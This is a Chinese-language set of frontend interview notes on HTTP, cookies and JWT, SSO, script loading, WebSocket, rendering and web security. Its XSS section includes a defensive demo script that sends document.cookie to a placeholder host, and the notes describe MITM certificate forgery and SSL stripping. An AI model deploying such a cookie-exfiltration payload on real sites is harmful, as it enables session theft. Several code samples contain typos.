前端面试拼图-知识广度
摘要:最近,看了下慕课2周刷完n道面试题,记录并添加部分可参考的文档,如下...
1. 移动端H5 click有300ms延迟, 如何解决?
背景:double tap to zoom
移动端H5中的300ms点击延迟问题通常是由浏览器的双击缩放(double tap to zoom)功能引起的,延迟是为了等待一段时间,以确定用户是否要进行双击缩放操作。
解决方案:
- 借助一些第三方库,例如FastClick
- 监听touchStart和touchend事件(touchstart touchend 会先于click触发)
- 使用自定义DOM事件模拟一个click实践
- 使用CSS属性touch-action: manipulation,告知浏览器在用户点击时不进行双击缩放操作
- 把默认的click事件(300ms之后触发)禁止掉;
- 现代浏览器的改进:在HTML的<head>标签内添加以下meta标签可以禁用浏览器的缩放功能,进而减少点击延
<meta name="viewport" content="**width=device-width**, user-scalable=no">
扩展:Retina 屏幕的1px像素,如何实现?
1. 使用CSS的border-width和border-image属性:
.one-pixel-border { border-width: 1px; border-style: solid; border-image: linear-gradient(to right, transparent 50%, #000 50%) 0 0 1 0 stretch;
}
这个方法利用了border-image属性将线条绘制为一个渐变图像,其中透明部分占据一半的宽度,而另一半是实际的1像素宽度。
2. 使用 CSS::after伪元素和transform: scaleY()缩放:通过使用::after伪元素创建一个细线条,并利用transform: scaleY()进行纵向缩放,可以在 Retina 屏幕上实现清晰的细线效果。例如:
.element::after {content: "";display: block;height: 1px;background-color: red;transform: scaleY(0.5);transform-origin: top left;
}
3. 使用JavaScript第三方库来简化实现过程。例如,使用border.js或类似的库可以更方便地在Retina屏幕上创建1像素的边框。
2. 网络请求中, token和cookie有什么区别?
Token和Cookie都是在网络请求中用于身份验证和会话管理的机制
cookie:
HTTP无状态,每次请求都要带上cookie,以帮助识别身份;
服务端也可以向客户端set-cookie,cookie大小通常限制4kb
cookie默认有跨域限制:不可跨域共享、传递cookie
cookie本地存储:
HTML5之前cookie常被用于本地存储,但大小有限;
HTML5 之后推荐使用localStorage和sessionStorage
现代浏览器开始禁止第三方cookie,即禁止网页引入的第三方JS设置cookie
新增属性SameSite:Strict/Lax/None;值可以自己设置
cookie和session
cookie用于登录验证,存储用户标识(如userId);
session在服务端,存储用户详细信息,和cookie信息一一对应
cookie + session是常见登录验证解决方案
token vs cookie
cookie是HTTP规范,而token是自定义传递
cookie会默认被浏览器存储,而token需要自己存储;
token默认没有跨域限制
JWT(JSON Web Token)
前端发起登录,后端验证成功后,返回一个加密的token;
前端自行存储这个token(其中包含了用户信息,机密了)
之后访问服务端接口,都带着这个token,作为用户信息
总结:
cookie:HTTP标准;由跨域限制(默认跨域不共享,不传递);配合session使用;
token:无标准;无跨域限制;一般用于JWT
扩展:Session和JWT那个更好?
Session:
原理简单,易于学习;用户信息存储在服务端,可快速封禁某个用户。
占用服务端内存,硬件成本高;多进程、多服务器时,不好同步—需要使用第三方缓存,如redis;默认有跨域限制
JWT:
不占用服务端内存;多进程、多服务器不受影响;
用户信息存储在客户端,无法快速封禁某用户;万一服务端秘钥被泄露,则用户信息全部丢失(待商定);
token体积一般大于cookie,会增加请求的数据量
综上:如果有严格管理用户信息的要求(保密、快速封禁)推荐session;如没有特殊要求,则使用JWT(如初创期的网站),二者比较可参考
Cookie、Session和JWT-CSDN博客文章浏览阅读752次,点赞22次,收藏16次。JSON Web Tokens(缩写 JWT)是目前最流行的跨域认证解决方案[1],解决了Session验证资源消耗和扩展性差的缺点。其官网是:首先,JWT的组成包括三个部分 :Header部分:主要包括alg属性和typ属性。alg表示签名算法(algorithm),默认是HMAC SHA256(写成HS56);typ表示令牌(token)类型(type),JWT令牌统一写为JWT。),此处为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9。https://blog.csdn.net/weixin_61933613/article/details/136382730?spm=1001.2014.3001.5502 扩展:如何实现SSO单点登录?
基于cookie:
cookie默认不可跨域共享,但是有些情况下可设置为共享;
主域名相同,如www.baidu.com image.baidu.com
设置cookie domain为主域名,即可共享cookie
SSO 技术:
主域名完全不同,则cookie无法共享
可使用SSO的技术,SSO实现流程说明:
- 用户首次访问WebsiteA,由于WebsiteA未登录,用户校验失败会触发一个302的重定向请求 到 SSO服务器登录页面;
- 用户输入账户、密码进行登录认证后,把登录状态写入到SSO的Session中,浏览器也会写下SSO域下的Cookie;
- SSO登录系统完成后会生成一个ST(Service Ticket),然后将ST作为参数传递给WebsiteA,WebsiteA获取到ST后,向SSO服务发送请求,验证ST的有效性。验证通过后WebsiteA就将登录状态写到Session中,并设置WebsiteA域下的Cookie,这样跨域的单点登录就完成了。
- 当用户访问WebsiteB/WebsiteC时,发现WebsiteB/WebsiteC不是登录状态,就会跳转到SSO系统。此时SSO系统发现已经登录,会生成一个ST。并将这个ST作为参数传递给WebsiteB/WebsiteC,WebsiteB/WebsiteC后台访问SSO系统验证ST有效性,验证通过后WebsiteB/WebsiteC就将登录状态写到Session中,并设置WebsiteB/WebsiteC域下的Cookie,这样其他子系统不需要再次进行登录就可以访问了。
SSO单点登录更多内容可参考
如何实现单点登录 - 知乎一、是什么 单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一 SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统 SSO 一般都需要一个独立的…
https://zhuanlan.zhihu.com/p/607721795
3. HTTP 协议和UDP协议的区别?
HTTP协议是应用层协议,TCP UDP协议是传输层协议,严格来说,应该拿TCP和UDP进行比较
TCP协议:有连接(三次握手),有断开(四次挥手),稳定传输
UDP协议:无连接,无断开,不稳定传输,但效率高,适用于如视频会议、语音通话
总结:
HTTP是应用层,TCP UDP是传输层
TCP 有连接,有断开,稳定传输
UDP无连接,无断开,不稳定传输,但效率高
扩展:HTTP协议 1.0 1.1 2.0有什么区别?
HTTP 1.0: 定义于1996年
最基础的HTTP协议,支持基本的GET POST方法;
每次请求/响应都会建立一个新的TCP连接,请求完成后立即关闭连接。
HTTP 1.1:发布于1999
新增缓存策略 cache-control E-tag等
支持长连接Connection:keep-alive, 一个TCP连接传输多个请求和响应;
断点续传,状态码206(分片上传每次206继续穿,完成状态码200)
支持新的方法PUT DELETE等,可用于Restful API
支持管线化,允许客户端发送多个请求而不等待响应,提高了并行性和性能
注意:浏览器会逐个发送多个请求,但服务器必须按照客户端请求的先后顺序依次回送相应的结果,以保证客户端能够区分出每次请求的响应内容(HTTP管道化实际上把先进先出队列从客户端(请求队列)迁移到服务端(响应队列)),管线化技术存在各种各样的问题,实际很很多浏览器并不支持。
HTTP 2.0:发布于2015
引入了二进制分帧层,将数据拆分为更小的帧进行传输,并在客户端和服务器之间复用连接;
可压缩header,减少体积;
多路复用,一次TCP连接中可以多个HTTP并行请求,避免了头部阻塞问题;
注:HTTP/1.1的头部阻塞(Head-of-Line Blocking)是指在使用持久连接(Keep-Alive)的情况下,由于TCP连接上同时只能处理一个请求/响应,而且请求和响应的顺序必须保持一致,导致后续的请求在前面的请求未完成时被阻塞的现象。
支持流量控制和服务器推送等新特性,提升了性能和用户体验
注:HTTP/2.0中的服务器推送(Server Push)是一项重要的性能优化特性,它允许服务器在客户端请求资源之前主动推送相关的资源给客户端,以提高页面加载速度和性能。
4. 什么是HTTPS中间人攻击?如何预防?
我们知道HTTP明文传输,HTTPS加密传输,但HTTPS也不是绝对安全的。这就是要介绍的HTTPS中间人攻击,它是一种恶意行为,攻击者插入自己作为“中间人”来拦截和篡改经过的加密通信数据。通常情况下,当用户与服务器之间建立HTTPS连接时,数据被加密以防止被窃听或篡改。然而,在中间人攻击中,攻击者可以在用户和服务器之间插入自己的恶意代理,使得用户和服务器认为他们正在直接通信,但实际上所有的数据都会经过攻击者的“中转”。
中间人攻击实施需要攻击者需要用户数据在到达目标设备前,完成拦截步骤完全了解其所有的数据交换。拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。参考下文中的HTTPS传输建立的示意图,解密过程有两种实施方法:
- SSL 劫持(伪造证书) 攻击者在 TLS 握手期间拦截到服务器返回的公钥(步骤3),将服务器的公钥替换为自己公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。这种方式的攻击存在问题是可感知,客户端在校验证书过程中会提示证书错误;
- SSL 剥离 攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。

中间人攻击 - 黑客伪造证书

预防:
用可信的第三方 CA 厂商,不下载来源不明的证书;
尽可能使用 HTTPS 链接,开启 HSTS 策略
避免连接不知名的 WiFi 热点,公共网络不进行涉及敏感信息的交互
不忽略不安全的浏览器通知;
注: 通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护
5. <script> defer 和async有什么区别?
首先,明确defer和aysnc都是用来控制脚本的加载和执行方式的,参考下图HTML解析遇到Script标签:
无设置:HTML暂停解析,下载JS,执行JS,再继续解析HTML;
defer:HTML继续解析,并行(异步)下载JS,HTML解析完再执行JS;
async: HTML继续解析,并行下载JS,下载完成暂停HTML解析,立即执行JS,执行玩JS再解析HTML

总结:
defer 保证脚本的执行在文档解析完成后、DOMContentLoaded 事件触发前,且按照文档中出现的顺序执行;
async 允许脚本的异步加载和执行,不阻塞文档的解析,但执行顺序不固定(加载完就执行);
JS的执行一定和HTML解析是相互斥的,JS是单线程的。
扩展: prefetch和dns-prefetch有什么区别?
preload和prefetch
preload资源在当前页面使用,会优先加载;
prefetch资源在未来页面使用(未打开),空闲时加载。
<head> <!--preload 当前页面使用--><link rel="preload" href="style.css" as="style"><link rel="preload" href="main.js" as="script"><!--prefetch 未来页面使用--><link rel="prefetch" href="other.js" as="script"> <!--引用css--><link rel="stylesheet" href="style.css">
</head>
<body><!--引用 js--><script src="main.js" defer></script>
</body>
dns-prefetch 和preconnect
dns-prefetch 即DNS预查询,以便更快地建立连接和加载资源
preconnect即DNS预连接
<head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorgin>
</head>
总结:
prefetch是资源获取(和preload有关)
dns-prefetch是DNS预查询(和preconnect相关)
6. 你知道那些前端攻击?该如何预防?
XSS(Cross Site Script) 跨站脚本攻击
原理:是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。通常分为反射性、存储型和DOM型。
前端安全 | HZFE - 剑指前端 Offer相关问题
https://febook.hzfe.org/awesome-interview/book1/network-security
手段:虽然不同类型实现手段有些区别,但黑客都是将JS代码插入到网页内容中,渲染时执行JS代码
预防:
对于外部传入的内容进行充分转义(前端或者后端);
设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取;
开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。
<!-- 通过就是脚本获取并传输cookie-->
<div><p>DEMO</p><script>var img = document.createElement('image')img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie</script>
</div>
// 预防:
<script>const str=`<p>DEMO</p><script>var img = document.createElement('image')img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie</script>` const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
</script>
注:Vue和React 默认可以屏蔽XSS攻击,除了Vue中的v-html和React中的dangerouslySetInnerHTML。
CSRF(Cross Site Request Forgery)跨站请求伪造
原理:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。
手段:黑客诱导用户去访问另一个网站的接口,冒用用户身份伪造请求
预防:严格的跨域限制+验证码机制
详细过程:
用户登陆了A网站,有了cookie
黑客诱导用户到B网站,并发起A网站的请求(前提是用户在A网站已登录)
A网站的API发现有cookie,认为是用户自己操作的
预防手段:
严格的跨域请求限制,如判断referrer(请求来源),仅仅允许安全域名请求;
为cookie设置SameSite,限制第三方 Cookie 的使用,可选值有 Strict(完全禁止)、Lax(只允许链接、预加载请求和 GET 表单的场景下发送第三方 Cookie)、None(关闭 SameSite 属性);
关键接口使用验证码,进行二次确认
点击劫持 Click Jacking
原理: 攻击者通过将一个或多个透明的、可见但被隐藏的层覆盖在网页上,诱导用户在点击看似正常的元素时,实际上触发了攻击者预设的恶意操作。
手段: 诱导界面蒙上一个透明的iframe,诱导用户点击
预防:
让iframe不能跨域加载;
判断iframe的域名是否一致,X-Frame-Options设置为sameorigin,只允许相同域名下的网页iframe;
X-Frame-Option设置为sameorigin,浏览器会拒绝加载来自不同源(origin)页面的 iframe。具体来说,"sameorigin" 选项指示浏览器只允许相同源的页面嵌入当前页面的 iframe 中,而拒绝来自不同源的页面的嵌入。
例如,如果网站 A 设置了 "X-Frame-Options: sameorigin",那么网站 B 就无法通过 iframe 将网站 A 的内容嵌入到自己的页面中。这可以有效地防止点击劫持攻击,因为攻击者无法通过 iframe 技术将目标网站的内容嵌入到恶意网页中,从而欺骗用户进行操作。
值得注意的是,"X-Frame-Options" 头部已经被新的 CSP(Content Security Policy)头部所取代,CSP 提供了更多的安全选项,并且可以包含类似 X-Frame-Options 功能的功能。
总的来说,"X-Frame-Options: sameorigin" 是一种简单但有效的安全机制,用于保护网站免受点击劫持攻击。

注: 相对于XSS和CSRF,需要与用户进行交互,实施攻击的成本较高,在网络犯罪中比较少见;但仍可能被利用于钓鱼、欺诈和广告作弊等方面。
DDoS:Distribute denial-of-service分布式拒绝服务
原理:通过大规模 Internet 流量淹没目标服务器或其周边基础设施以破坏目标服务器、服务或网络正常流量的恶意行为。
手段:分布式的、大规模的流量访问,使服务器瘫痪
预防:软件层不好做,需要硬件预防(如阿里云的WAF)
SQL注入
原理; 攻击者在向数据库服务器发送查询请求时,会在查询语句中添加恶意代码,从而对服务器造成损害;
手段:黑客提交内容时写入SQL语句,破坏数据库
预防:验证输入,白名单验证参数是否符合所期望的类型、长度、大小和格式;处理输入的内容,替换特殊字符
中间人攻击(MITM)(参考问题4)
7. WebSocket和HTTP协议有什么区别?
WebSocket
支持端到端通讯,可以由client发起,也可以由Server发起
用于:消息通知,直播间讨论、聊天室、协同编辑
WebSocket连接过程:先发起一个HTTP请求,成功后再升级到WebSocket协议,再通讯;
WebSocket和HTTP区别
http 是无状态的单向连接,WebSocket协议名是ws://,可双端发起请求;
WebSocket没有跨域限制
HTTP 是基于文本的协议,WebSocket 是基于帧的协议;
通过send和onmessage通讯(HTTP通过req和res)
扩展1:ws可升级为wss(类似https)
// 导入了createServer函数, 用于创建一个 HTTP 或 HTTPS 服务器
import {createServer} from 'https'
// 从 Node.js中的fs模块中导入了readFileSync函数, 用于同步地读取文件的内容。
import {readFileSync} from 'fs'
// 从第三方库ws中导入了WebSocketServer类, 用于创建 WebSocket 服务器
import {WebSocketServer} from 'ws'
// 调用了createServer函数来创建一个服务器实例,使用了对象字面量作为参数,包含了证书和密钥的信息
const server = createServer({cert: 'readFileSync(/path/to/cert.pem)',key: 'readFileSync(/path/to/key.pem)'
})
// 创建新的WebSocket服务器实例wss,并将之前创建的server实例传递给它
const wss = new WebSocketServer({server})
扩展2:实际项目中推荐使用socket.io,API更整洁
io.on('connection', socket => {// emit an event to the socketsocket.emit('request', /*...*/)// emit an event to all connected socketsio.emit('brocast', /*....*/)// listen to the eventsocket.on('reply', () => {/*....*/})
})
扩展4:WebSocket和HTTP长轮询的区别
HTTP长轮询:客户端发起请求,服务端阻塞(等待),不会立即返回
WebSocke: 客户端可以发起请求,服务端也可以发起请求
注意:HTTP长轮询,需要处理timeout,即timeout之后重新发送请求
8. 描述从输入URL到页面展示的完整过程
步骤如下:
网络请求:
DNS查询(得到IP),建立TCP连接(三次握手)
浏览器发起HTTP请求
收到请求响应,得到HTML源代码
解析:
解析HTML过程中,遇到静态资源还会继续发起网络请求,获取静态资源JS、CSS、图片、视频等;
注意:静态资源可能有强缓存,此时不必再请求;
解析:字符串 →结构化数据
- HTML构建DOM树
- CSS构建CSSOM树(style tree)
- 两者结合,形成render tree
扩展:优化解析的方式
CSS放在<head>中,不要异步加载CSS
JS放在<body>最下面(或合理使用defer async)
<img>提前定义width height
渲染:Render Tree绘制到页面上
计算各个DOM的尺寸、定位,最后绘制页面
遇到JS可能会执行(参考defer async)
异步CSS、图片加载,可能会触发重新渲染
扩展1:重绘repaint 重排reflow有什么区别?
动态网页,随时都会重绘和重排
重绘 通常是元素外观改变,如颜色、背景色,但元素的尺寸、定位不变,不会影响其他元素的位置;
重排 重新计算尺寸和布局,可能会影响其他元素的位置,如元素高度增加,可能会使相邻元素位置下移
区别:重排比重绘要影响更大,消耗也更大,尽量避免无意义的重排;
减少重排的方法:
集中修改样式,或直接切换css class
修改之前先设置display:none,脱离文档流
使用BFC特性,不影响其他元素位置
频繁触发(resize scroll)使用节流和防抖
使用createDocumentFragment批量操作DOM
优化动画,使用CSS3和requestAnimationFrame
扩展2:BFC Block Format Context块级格式化上下文
BFC内部的元素无论如何改动,都不会影响其他元素的位置,触发BFC的条件:
根节点<html>
float的值为left/right
overflow值为auto/scroll/hidden
display值为inline-block/table/table-row/table-cell
display: flex/grid的直接子元素
position: absolute/fixed;
9. 如何实现网页多标签通讯?
使用WebSocket
无跨域限制;全双工通信;保持连接状态
需要服务端支持,成本高
使用localStorage(简单易用,推荐)
同域的A和B两(多)个页面(localStorage跨域不共享);将数据长期存储在浏览器;提供事件storage监听变化
A页面设置localStorage
B页面可监听到localStorage值的修改
window.addEventListener('storage', (e) => {console.log("localStorage变化的事件触发了;", e)
})
通过SharedWorker通讯(不兼容IE11)
SharedWorker是WebWorker的一种
WebWorker可开启子进程执行JS,但是不能操作DOM
SharedWorker可以单独开启一个进程,用于同域页面通讯(跨域不共享)
worker.js
/**
* for SharedWorker
*/
const set = new Set() // set 用来存储连接的端口对象
// 当有新连接建立时,onconnect事件被触发,获取连接的端口对象port,并将其加入 set 中
onconnect = event => {const port = event.ports[0]set.add(port)// 设置port的onmessage事件监听器,用于接收消息port.onmessage = e => {// 遍历set中的端口对象,对除了自己以外的其他端口对象发送相同的消息,实现消息的广播set.forEach(p => {if(p === port) return //不给自己广播p.postMessage(e.data)})}// 向当前端口对象发送消息 'worker.js done'**port.postMessage**('worker.js done')
}// page: detail
<script>// 创建worker实例const worker = new SharedWorker('./worker.js')const tn1 = document.getElementById('btn')btn1.addEventListener('click', () => {console.log('click')worker.port.postMessage('detail go...') // 向 SharedWorker 发送消息})
</script>// page: list
<script>const worker = new SharedWorker('./worker.js')worket.port.onmessage = e => console.info('list', e.data) // 处理从 SharedWorker 接收到的数据
</script>
使用SharedWorker前要查看兼容问题:"sharedworker" | Can I use... Support tables for HTML5, CSS3, etc
https://caniuse.com/?search=sharedworkerWeb Worker 使用教程
Web Worker 使用教程 - 阮一峰的网络日志
https://www.ruanyifeng.com/blog/2018/07/web-worker.html 扩展: 网页和iframe如何通讯?
可使用postMessage通讯,需要注意跨域的限制和判断
<!--index.html-->
<body><p>index page <button id="btn1">发送消息</button> </p></iframe id="iframe1" src="./child.html"></iframe><script>const btn1 = document.getElementById('btn1')btnq.addEventListener('click', () => {console.info('index clicked')window.iframe1.contentWindow.postMessage('hello', '*')})window.addEventListener('message', event => {console.info('origin', event.origin) //来源的域名console.info('index received', event.data)})</script>
</body><!--child.html-->
<body><p>child page <button id="btn1">发送消息</button> </p><script>const btn1 = document.getElementById('btn1')btnq.addEventListener('click', () => {console.info('child clicked')window.parent.postMessage('world','*')})window.addEventListener('message', event => {console.info('origin', event.origin) //来源的域名,判断来源的合法性console.info('child received', event.data)})</script>
</body>
10. 请描述koa2的洋葱圈模型
Koa2:一个简约、流行的node.js框架
Koa2 的洋葱圈模型是一种中间件执行流程的设计模式,用于处理 HTTP 请求和响应。它被称为洋葱圈,因为中间件的执行顺序类似于剥洋葱一样,先从外层中间件开始执行,然后逐层向内执行,最后再逐层返回。
洋葱圈模型的主要思想是将中间件按照一定的顺序组织起来,并且每个中间件可以在请求和响应的过程中执行相应的操作。整个流程中,请求会从外层中间件开始,逐层传递到内层中间件,然后再逐层返回,直到最外层的中间件处理完毕。
在 Koa2 中,每个中间件都是一个异步函数(async function),它们接收两个参数:context(上下文对象)和 next(下一个中间件函数)。通过调用 await next() 来执行下一个中间件,这也是洋葱圈模型的关键之处。
官网地址:
Koa (koajs) -- 基于 Node.js 平台的下一代 web 开发框架 | Koajs 中文文档Koa (koajs) 是一个新的 web 框架,由 Express 幕后的原班人马打造,致力于成为 web 应用和 API 开发领域中的一个更小、更富有表现力、更健壮的基石。通过利用 async 函数,Koa 帮你丢弃回调函数,并有力地增强错误处理。Koa 并没有捆绑任何中间件,而是提供了一套优雅的方法,帮助您快速而愉快地编写服务端应用程序。
https://koa.bootcss.com/
const Koa = require('koa'); // 引入Koa框架模块,创建一个 Koa 应用
const app = new Koa(); // 创建一个Koa应用实例 app// logger
app.use(async (ctx, next) => {await next(); // 先执行下一步x-response-time,执行完再继续执行const rt = ctx.response.get('X-Response-Time');console.log(`${ctx.method} ${ctx.url} - ${rt}`);
});// x-response-time
app.use(async (ctx, next) => {const start = Date.now();await next(); // 先执行下一步response,执行完再继续执行const ms = Date.now() - start; // response返回的执行时间ctx.set('X-Response-Time', `${ms}ms`);
});// response
app.use(async ctx => {ctx.body = 'Hello World';
});app.listen(3000);
相关文章:
前端面试拼图-知识广度
摘要:最近,看了下慕课2周刷完n道面试题,记录并添加部分可参考的文档,如下... 1. 移动端H5 click有300ms延迟, 如何解决? 背景:double tap to zoom 移动端H5中的300ms点击延迟问题通常是由浏览…...
Android 开发 地图 polygon 显示信息
问题 Android 开发 地图 polygon 显示信息 详细问题 笔者进行Android项目开发,接入高德地图绘制区域后,需要在指定区域(位置)内显示文本信息,如何实现 实现效果 解决方案 代码 import com.amap.api.maps.model.T…...
flink1.18.0报错 an implicit exists from scala.Int => java.lang.Integer, but
完整报错 type mismatch;found : Int(100)required: Object Note: an implicit exists from scala.Int > java.lang.Integer, but methods inherited from Object are rendered ambiguous. This is to avoid a blanket implicit which would convert any scala.Int to a…...
掌握C语言结构体,开启编程新世界
✨✨欢迎👍👍点赞☕️☕️收藏✍✍评论 个人主页:秋邱博客 所属栏目:C语言 (感谢您的光临,您的光临蓬荜生辉) 前言 前面我们也涉及到了结构体的讲解,但是只是粗略的讲了一下。 接下…...
YOLOv3学习
YOLOv3仅使用卷积层,使其成为一个全卷积网络(FCN)。文章中,作者提出一个新的特征提取网络,Darknet-53。正如其名,它包含53个卷积层,每个后面跟随着batch normalization层和leaky ReLU层。没有池…...
oracle实现批量插入
一、Dao层(增加Parm参数) void insert(Param("list") List<TicketInfo> ticketInfos); 二、Mapper层(加入条件判断值是否为空) insert all<foreach collection"list" item"item" index"index">into 表名<trim prefix…...
游戏客户端开发
1、LOL里面用到的是什么同步机制? 2、网络不好的情况下人物会出现瞬移等情况,怎样避免? 3、游戏里面有没有涉及数据存储,如存档之类的?、 4、如果让你设计存档,会如何着手? 5、以二进制方式…...
电商API接口苏宁易购获得suning商品详情页实时数据API请求接入演示
要接入苏宁易购的API接口获取商品详情页实时数据,你需要遵循以下步骤: 注册成为开放平台的开发者,获取ApiKey和ApiSecret。 使用ApiKey和ApiSecret获取访问令牌(AccessToken)。 使用AccessToken调用苏宁易购的API接口…...
数据类型转换篇(二)
文章目录 7.11 float()7.12 hex()7.13 int()7.14 list()7.15 oct()7.16 ord()7.17 repr()7.18 set()7.19 str()7.20 tuple() 7.11 float() float() 是 Python 的内置函数,用于将一个数值或数值表示的字符串转换成浮点数(floating point numberÿ…...
新零售SaaS架构:线上商城系统架构设计
零售商家为什么要建设线上商城? 传统的实体门店服务范围有限,只能吸引周边500米以内的消费者。因此,如何拓展服务范围,吸引更多的消费者到店,成为了店家迫切需要解决的问题。 缺乏忠实顾客,客户基础不稳&a…...
Word文档密码设置:Python设置、更改及移除Word文档密码
给Word文档设置打开密码是常见的Word文档加密方式。为Word文档设置打开密码后,在打开该文档时,需要输入密码才能预览及编辑,为Word文档中的信息提供了有力的安全保障。如果我们需要对大量的Word文档进行加密、解密处理,Python是一…...
jar读取目录配置、打包jar后无法获取目录下的配置
jar读取目录配置、打包jar后无法获取目录下的配置 jar读取目录配置、打包jar后无法获取目录下的配置。java打成jar包后获取不到配置文件路径。解决项目打成jar包上线无法读取配置文件。打包jar后无法读取resource下的配置文件 场景 需要读取 src/main/resources/mapper下的所…...
python第三次项目作业
打印课堂上图案 判断一个数是否是质数(素数) 设计一个程序,完成(英雄)商品的购买(界面就是第一天打印的界面) 展示商品信息(折扣)->输入商品价格->输入购买数量->提示付款 输入付款金额->打印购买小票&a…...
架构之安全性维度
流程安全性 安全基本原则:可用性 完整性 机密性 CIA 安全框架:zachman P2DR Sabsa IPDRR IATF 安全评估方法:安全测试: SAST静态测试、 IAST交互测试 安全扫描 危险模型:攻击树分析 DREAD风险评估 渗透测试:…...
odoo字段访问控制
在 Odoo 中,可以通过几种方式实现字段的访问控制,包括通过模型安全规则、记录规则和字段属性来限制字段的访问。 1. 使用模型安全规则 模型安全规则(也称为访问控制列表,ACLs)允许你定义哪些用户组可以对哪些模型进行…...
mysql的基本知识点-操作数据库表
创建数据库: CREATE DATABASE database_name;创建一个名字为database_name的数据库; 删除数据库: DROP DATABASE database_name;删除名字为database_name的数据库; 在执行删除数据库操作前,请确保你确实想要删除数据…...
基于Springboot的疫情物资管理系统(有报告)。Javaee项目,springboot项目。
演示视频: 基于Springboot的疫情物资管理系统(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构…...
【postgresql 基础入门】表的约束(一)主键与外键,数据的实体完整性与参照完整性,外键引用数据被修改时的动作触发
主键与外键-表的约束(一) 专栏内容: postgresql内核源码分析手写数据库toadb并发编程 个人主页:我的主页 管理社区:开源数据库 座右铭:天行健,君子以自强不息;地势坤,君子以厚德载物. 系列文章…...
centos 7 添加启动脚本
centos 7 java 开机启动 在CentOS 7上配置Java应用程序开机启动,可以通过创建一个systemd服务单元来实现。以下是步骤和示例代码: 创建一个新的systemd服务文件。 sudo vi /etc/systemd/system/your-java-app.service 在该文件中添加以下内容ÿ…...
java入门基础掌握知识
Java基础入门 Java一门 高级 编程语言 Java是 sun 公司研发的,现在属于 oracle 公司 Java之父是 詹姆斯.高斯林 Java主要是来做 企业级 应用开发的 Java的三大技术体系是: 技术体系说明Java SE(Java Standard Edition):标准版Java技术的核心和基础…...
网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module
1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...
学校招生小程序源码介绍
基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码,专为学校招生场景量身打造,功能实用且操作便捷。 从技术架构来看,ThinkPHP提供稳定可靠的后台服务,FastAdmin加速开发流程,UniApp则保障小程序在多端有良好的兼…...
2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
python报错No module named ‘tensorflow.keras‘
是由于不同版本的tensorflow下的keras所在的路径不同,结合所安装的tensorflow的目录结构修改from语句即可。 原语句: from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后: from tensorflow.python.keras.lay…...
